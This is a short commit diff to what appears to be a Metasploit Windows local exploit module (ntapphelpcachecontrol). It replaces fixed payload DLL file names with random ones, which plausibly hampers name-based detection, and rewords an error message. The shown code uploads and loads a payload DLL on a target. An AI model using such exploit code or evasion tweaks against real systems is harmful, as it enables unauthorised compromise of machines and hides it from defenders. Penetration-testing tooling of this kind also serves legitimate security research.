A little randomness

modules/exploits/windows/local/ntapphelpcachecontrol.rb

@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local
   end
 
   def upload_payload
-    payload_filepath = "#{temp}\\msf_payload.dll"
+    payload_filepath = "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
 
     # Save the payload DLL's file path so the exploit can find it
     set_filepath_env(payload_filepath)
@@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Local
     # Upload the payload
     upload_payload_dll(payload_filepath)
     if !file?(payload_filepath)
-      fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
+      fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
     end
   end
 
@@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local
 
     session.core.load_library(
       'LibraryFilePath' => lib_file_path,
-      'TargetFilePath'  =>  "#{temp}\\ntapphelpcachecontrol.dll",
+      'TargetFilePath'  =>  "#{temp}\\#{Rex::Text.rand_text_alpha(5)}.dll",
       'UploadLibrary'   => true,
       'Extension'       => false,
       'SaveToDisk'      => false